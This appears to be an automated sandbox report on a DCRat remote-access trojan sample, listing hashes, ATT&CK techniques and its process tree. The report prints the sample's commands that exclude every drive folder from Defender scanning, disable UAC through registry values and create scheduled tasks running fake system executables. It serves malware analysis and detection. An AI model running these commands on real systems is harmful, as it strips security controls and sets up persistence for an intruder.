dcrat | 8cf64f5d90065639f894f78a334386f75ffe99f8c41b05b2f03cf0a5438b9276

General

Target

2c84169bc39cd8d6dd403fcec377131c.exe
Size

4.9MB
MD5

2c84169bc39cd8d6dd403fcec377131c
SHA1

e2ea0fbe34f84d748745bb558414ebb829ed7031
SHA256

8cf64f5d90065639f894f78a334386f75ffe99f8c41b05b2f03cf0a5438b9276
SHA512

8a22ed9e6c98331663c291b9bb7b824a5bbb2a7f37c2ccc5e2b4afeafda9a8e5c1f44186b879bda7d850df975f6b1aba1c547ebe651decfe4fb8897de906ede5
SSDEEP

49152:jl5MTGChZpxtlBBgxchXb/zqP6DUtRgs5q289dAnSz44hnW1XgnYu6fYmPkMSx8E:

Score

10^/10

dcrat evasion infostealer rat trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 54 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	680	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	584	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	976	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1448	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1696	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1212	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	924	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1084	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1828	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1056	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1164	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1628	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2036	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1624	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1672	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1336	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1656	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	980	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1476	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1328	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	964	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1556	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1616	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	772	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	788	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1364	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1212	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	584	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1732	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	856	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1104	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1080	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1544	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1800	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1576	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1696	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1656	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	960	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	972	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	972	schtasks.exe

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

wininit.exe2c84169bc39cd8d6dd403fcec377131c.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2c84169bc39cd8d6dd403fcec377131c.exe

DCRat payload 1 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral1/memory/1516-55-0x000000001B3A0000-0x000000001B4CE000-memory.dmp	dcrat

Executes dropped EXE 1 IoCs

Processes:

wininit.exe

pid process

2792 wininit.exe

pid	process
2792	wininit.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

2c84169bc39cd8d6dd403fcec377131c.exewininit.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wininit.exe

Drops file in Program Files directory 32 IoCs

Processes:

2c84169bc39cd8d6dd403fcec377131c.exe

description	ioc	process
File created	C:\Program Files (x86)\Windows NT\Accessories\fr-FR\6203df4a6bafc7	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Adobe\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows Portable Devices\RCX89B1.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\es-ES\winlogon.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files\Java\jre7\bin\dtplugin\dwm.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\logs\RCX791C.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\RCXB365.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Google\Policies\lsm.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\fr-FR\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files\Java\jre7\bin\dtplugin\6cb0b6c459d5d3	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\6203df4a6bafc7	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\es-ES\RCX8167.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows Portable Devices\csrss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Google\Policies\lsm.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows NT\Accessories\fr-FR\RCX602D.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Adobe\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Windows NT\Accessories\fr-FR\lsass.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\69ddcba757bf72	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\cc11b995f2a76d	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Windows Portable Devices\csrss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Windows Portable Devices\886983d96e3d3e	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files\Java\jre7\bin\dtplugin\RCXAB1A.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files\Java\jre7\bin\dtplugin\dwm.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\winlogon.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Adobe\6203df4a6bafc7	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Program Files (x86)\Google\Policies\101b941d020240	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Adobe\RCXE572.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Program Files (x86)\Google\Policies\RCXEDEC.tmp	2c84169bc39cd8d6dd403fcec377131c.exe

Drops file in Windows directory 8 IoCs

Processes:

2c84169bc39cd8d6dd403fcec377131c.exe

description	ioc	process
File opened for modification	C:\Windows\Setup\csrss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Windows\twain_32\explorer.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Windows\twain_32\7a0fd90576e088	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Windows\Setup\csrss.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File created	C:\Windows\Setup\886983d96e3d3e	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Windows\twain_32\RCX9A66.tmp	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Windows\twain_32\explorer.exe	2c84169bc39cd8d6dd403fcec377131c.exe
File opened for modification	C:\Windows\Setup\RCXCC45.tmp	2c84169bc39cd8d6dd403fcec377131c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 54 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1732	schtasks.exe
1448	schtasks.exe
1696	schtasks.exe
2036	schtasks.exe
548	schtasks.exe
1944	schtasks.exe
1628	schtasks.exe
1672	schtasks.exe
1792	schtasks.exe
1556	schtasks.exe
1800	schtasks.exe
960	schtasks.exe
1624	schtasks.exe
964	schtasks.exe
2088	schtasks.exe
2004	schtasks.exe
1212	schtasks.exe
1688	schtasks.exe
1828	schtasks.exe
1764	schtasks.exe
1544	schtasks.exe
1656	schtasks.exe
1084	schtasks.exe
1724	schtasks.exe
772	schtasks.exe
1212	schtasks.exe
1760	schtasks.exe
1056	schtasks.exe
1792	schtasks.exe
1080	schtasks.exe
956	schtasks.exe
1336	schtasks.exe
1860	schtasks.exe
980	schtasks.exe
788	schtasks.exe
1724	schtasks.exe
1164	schtasks.exe
1328	schtasks.exe
1616	schtasks.exe
1696	schtasks.exe
680	schtasks.exe
924	schtasks.exe
1476	schtasks.exe
1744	schtasks.exe
1364	schtasks.exe
1576	schtasks.exe
2060	schtasks.exe
976	schtasks.exe
1944	schtasks.exe
584	schtasks.exe
856	schtasks.exe
1104	schtasks.exe
1656	schtasks.exe
584	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

2c84169bc39cd8d6dd403fcec377131c.exewininit.exe

pid	process
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
1516	2c84169bc39cd8d6dd403fcec377131c.exe
2792	wininit.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

2c84169bc39cd8d6dd403fcec377131c.exewininit.exe

description pid process

Token: SeDebugPrivilege 1516 2c84169bc39cd8d6dd403fcec377131c.exe
Token: SeDebugPrivilege 2792 wininit.exe

description	pid	process
Token: SeDebugPrivilege	1516	2c84169bc39cd8d6dd403fcec377131c.exe
Token: SeDebugPrivilege	2792	wininit.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

2c84169bc39cd8d6dd403fcec377131c.execmd.exe

description	pid	process	target process
PID 1516 wrote to memory of 2124	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2124	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2124	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2136	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2136	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2136	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2148	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2148	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2148	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2176	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2176	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2176	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2192	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2192	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2192	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2224	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2224	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2224	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2240	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2240	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2240	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2272	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2272	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2272	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2288	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2288	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2288	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2324	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2324	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2324	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2336	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2336	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2336	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2368	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2368	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2368	1516	2c84169bc39cd8d6dd403fcec377131c.exe	powershell.exe
PID 1516 wrote to memory of 2564	1516	2c84169bc39cd8d6dd403fcec377131c.exe	cmd.exe
PID 1516 wrote to memory of 2564	1516	2c84169bc39cd8d6dd403fcec377131c.exe	cmd.exe
PID 1516 wrote to memory of 2564	1516	2c84169bc39cd8d6dd403fcec377131c.exe	cmd.exe
PID 2564 wrote to memory of 2744	2564	cmd.exe	w32tm.exe
PID 2564 wrote to memory of 2744	2564	cmd.exe	w32tm.exe
PID 2564 wrote to memory of 2744	2564	cmd.exe	w32tm.exe
PID 2564 wrote to memory of 2792	2564	cmd.exe	wininit.exe
PID 2564 wrote to memory of 2792	2564	cmd.exe	wininit.exe
PID 2564 wrote to memory of 2792	2564	cmd.exe	wininit.exe

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

Processes:

wininit.exe2c84169bc39cd8d6dd403fcec377131c.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	wininit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2c84169bc39cd8d6dd403fcec377131c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wininit.exe

C:\Users\Admin\AppData\Local\Temp\2c84169bc39cd8d6dd403fcec377131c.exe
"C:\Users\Admin\AppData\Local\Temp\2c84169bc39cd8d6dd403fcec377131c.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
2⤵
PID:2124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
2⤵
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
2⤵
PID:2148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
2⤵
PID:2176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
2⤵
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
2⤵
PID:2224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
2⤵
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
2⤵
PID:2272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
2⤵
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
2⤵
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
2⤵
PID:2336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
2⤵
PID:2368

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\MkjPh56yPS.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2564

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
3⤵
PID:2744

C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe
"C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe"
3⤵
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows NT\Accessories\fr-FR\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows NT\Accessories\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
